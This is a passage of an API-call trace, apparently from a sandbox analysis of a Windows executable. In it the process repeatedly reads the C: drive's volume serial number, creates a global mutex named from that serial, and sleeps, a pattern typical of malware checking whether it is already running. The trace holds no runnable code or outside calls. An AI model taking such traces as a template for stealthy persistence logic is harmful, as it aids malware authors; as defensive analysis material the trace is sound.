hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2ec8 | out: hHeap=0xc10000) returned 1 [0217.282] ReleaseMutex (hMutex=0x318) returned 1 [0217.282] CloseHandle (hObject=0x318) returned 1 [0217.282] Sleep (dwMilliseconds=0x3e8) [0218.819] GetProcessHeap () returned 0xc10000 [0218.819] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee58 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eef8 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ef48 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900c60 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900c60 | out: hHeap=0xc10000) returned 1 [0218.820] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eef8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0218.820] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4c78 [0218.820] GetProcessHeap () returned 0xc10000 [0218.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47f8 [0218.820] GetProcessHeap () returned 0xc10000 [0218.821] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47f8, Size=0x72) returned 0x33d25c8 [0218.821] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0218.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x370 [0218.821] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x0 [0218.821] GetProcessHeap () returned 0xc10000 [0218.821] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4c78 | out: hHeap=0xc10000) returned 1 [0218.821] GetProcessHeap () returned 0xc10000 [0218.821] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d25c8 | out: hHeap=0xc10000) returned 1 [0218.821] ReleaseMutex (hMutex=0x370) returned 1 [0218.821] CloseHandle (hObject=0x370) returned 1 [0218.821] Sleep (dwMilliseconds=0x3e8) [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed90 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ef48 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900838 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900838 | out: hHeap=0xc10000) returned 1 [0220.463] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0220.463] GetProcessHeap () returned 0xc10000 [0220.463] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0220.463] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0220.464] GetProcessHeap () returned 0xc10000 [0220.464] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0220.464] GetProcessHeap () returned 0xc10000 [0220.464] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 [0220.464] GetProcessHeap () returned 0xc10000 [0220.464] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47f8 [0220.464] GetProcessHeap () returned 0xc10000 [0220.464] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47f8, Size=0x72) returned 0x33d22c8 [0220.464] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0220.464] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x364 [0220.464] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x0 [0220.465] GetProcessHeap () returned 0xc10000 [0220.465] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0220.465] GetProcessHeap () returned 0xc10000 [0220.465] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d22c8 | out: hHeap=0xc10000) returned 1 [0220.465] ReleaseMutex (hMutex=0x364) returned 1 [0220.465] CloseHandle (hObject=0x364) returned 1 [0220.465] Sleep (dwMilliseconds=0x3e8) [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee58 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed90 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900248 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900248 | out: hHeap=0xc10000) returned 1 [0222.051] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0222.051] GetProcessHeap () returned 0xc10000 [0222.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0222.052] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0222.052] GetProcessHeap () returned 0xc10000 [0222.052] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0222.052] GetProcessHeap () returned 0xc10000 [0222.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 [0222.052] GetProcessHeap () returned 0xc10000 [0222.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4ba0 [0222.052] GetProcessHeap () returned 0xc10000 [0222.052] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4ba0, Size=0x72) returned 0x33d26c8 [0222.052] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0222.052] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x364 [0222.053] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x0 [0222.053] GetProcessHeap () returned 0xc10000 [0222.053] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0222.053] GetProcessHeap () returned 0xc10000 [0222.053] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d26c8 | out: hHeap=0xc10000) returned 1 [0222.053] ReleaseMutex (hMutex=0x364) returned 1 [0222.053] CloseHandle (hObject=0x364) returned 1 [0222.053] Sleep (dwMilliseconds=0x3e8) [0223.267] GetProcessHeap () returned 0xc10000 [0223.267] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee08 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0223.285] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0223.285] GetProcessHeap () returned 0xc10000 [0223.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee08 | out: hHeap=0xc10000) returned 1 [0223.285] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b10 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49f0 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49f0, Size=0x72) returned 0x33d2e48 [0223.286] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0223.286] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x348 [0223.286] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b10 | out: hHeap=0xc10000) returned 1 [0223.286] GetProcessHeap () returned 0xc10000 [0223.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2e48 | out: hHeap=0xc10000) returned 1 [0223.286] ReleaseMutex (hMutex=0x348) returned 1 [0223.286] CloseHandle (hObject=0x348) returned 1 [0223.286] Sleep (dwMilliseconds=0x3e8) [0224.489] GetProcessHeap () returned 0xc10000 [0224.489] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0224.489] GetProcessHeap () returned 0xc10000 [0224.489] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed90 [0224.490] GetProcessHeap () returned 0xc10000 [0224.490] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee30 [0224.490] GetProcessHeap () returned 0xc10000 [0224.490] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0224.490] GetProcessHeap () returned 0xc10000 [0224.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0224.490] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0224.490] GetProcessHeap () returned 0xc10000 [0224.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0224.490] GetProcessHeap () returned 0xc10000 [0224.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0224.490] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47b0 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47b0, Size=0x72) returned 0x33d2bc8 [0224.491] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0224.491] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x370 [0224.491] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x0 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0224.491] GetProcessHeap () returned 0xc10000 [0224.491] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2bc8 | out: hHeap=0xc10000) returned 1 [0224.492] ReleaseMutex (hMutex=0x370) returned 1 [0224.492] CloseHandle (hObject=0x370) returned 1 [0224.492] Sleep (dwMilliseconds=0x3e8) [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eea8 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ede0 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900410 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900410 | out: hHeap=0xc10000) returned 1 [0225.641] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eea8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ede0 | out: hHeap=0xc10000) returned 1 [0225.641] GetProcessHeap () returned 0xc10000 [0225.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0225.641] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0225.642] GetProcessHeap () returned 0xc10000 [0225.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0225.642] GetProcessHeap () returned 0xc10000 [0225.642] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca48d0 [0225.642] GetProcessHeap () returned 0xc10000 [0225.642] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47f8 [0225.642] GetProcessHeap () returned 0xc10000 [0225.642] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47f8, Size=0x72) returned 0x33d22c8 [0225.642] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0225.642] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x348 [0225.642] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0225.642] GetProcessHeap () returned 0xc10000 [0225.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca48d0 | out: hHeap=0xc10000) returned 1 [0225.643] GetProcessHeap () returned 0xc10000 [0225.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d22c8 | out: hHeap=0xc10000) returned 1 [0225.643] ReleaseMutex (hMutex=0x348) returned 1 [0225.643] CloseHandle (hObject=0x348) returned 1 [0225.643] Sleep (dwMilliseconds=0x3e8) [0226.881] GetProcessHeap () returned 0xc10000 [0226.881] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0226.910] GetProcessHeap () returned 0xc10000 [0226.911] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0226.911] GetProcessHeap () returned 0xc10000 [0226.911] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec78 [0226.911] GetProcessHeap () returned 0xc10000 [0226.911] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39007a0 [0226.911] GetProcessHeap () returned 0xc10000 [0226.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39007a0 | out: hHeap=0xc10000) returned 1 [0226.911] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0226.911] GetProcessHeap () returned 0xc10000 [0226.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec78 | out: hHeap=0xc10000) returned 1 [0226.911] GetProcessHeap () returned 0xc10000 [0226.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0226.911] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0x33d2c48 [0226.912] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0226.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x37c [0226.912] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x0 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0226.912] GetProcessHeap () returned 0xc10000 [0226.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2c48 | out: hHeap=0xc10000) returned 1 [0226.913] ReleaseMutex (hMutex=0x37c) returned 1 [0226.913] CloseHandle (hObject=0x37c) returned 1 [0226.913] Sleep (dwMilliseconds=0x3e8) [0228.172] GetProcessHeap () returned 0xc10000 [0228.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ec28 [0228.172] GetProcessHeap () returned 0xc10000 [0228.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0228.172] GetProcessHeap () returned 0xc10000 [0228.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee30 [0228.172] GetProcessHeap () returned 0xc10000 [0228.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900080 [0228.172] GetProcessHeap () returned 0xc10000 [0228.191] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900080 | out: hHeap=0xc10000) returned 1 [0228.191] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0228.191] GetProcessHeap () returned 0xc10000 [0228.191] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0228.191] GetProcessHeap () returned 0xc10000 [0228.191] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0228.191] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0228.208] GetProcessHeap () returned 0xc10000 [0228.209] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0228.209] GetProcessHeap () returned 0xc10000 [0228.209] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4768 [0228.209] GetProcessHeap () returned 0xc10000 [0228.209] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47b0 [0228.209] GetProcessHeap () returned 0xc10000 [0228.209] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47b0, Size=0x72) returned 0x33d2dc8 [0228.209] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0228.209] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x318 [0228.209] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x0 [0228.209] GetProcessHeap () returned 0xc10000 [0228.209] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4768 | out: hHeap=0xc10000) returned 1 [0228.209] GetProcessHeap () returned 0xc10000 [0228.209] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2dc8 | out: hHeap=0xc10000) returned 1 [0228.209] ReleaseMutex (hMutex=0x318) returned 1 [0228.210] CloseHandle (hObject=0x318) returned 1 [0228.210] Sleep (dwMilliseconds=0x3e8) [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec28 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900118 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900118 | out: hHeap=0xc10000) returned 1 [0229.614] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0229.614] GetProcessHeap () returned 0xc10000 [0229.614] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0229.614] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0229.615] GetProcessHeap () returned 0xc10000 [0229.615] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0229.615] GetProcessHeap () returned 0xc10000 [0229.615] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b58 [0229.615] GetProcessHeap () returned 0xc10000 [0229.615] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49f0 [0229.615] GetProcessHeap () returned 0xc10000 [0229.615] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49f0, Size=0x72) returned 0x33d2bc8 [0229.615] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 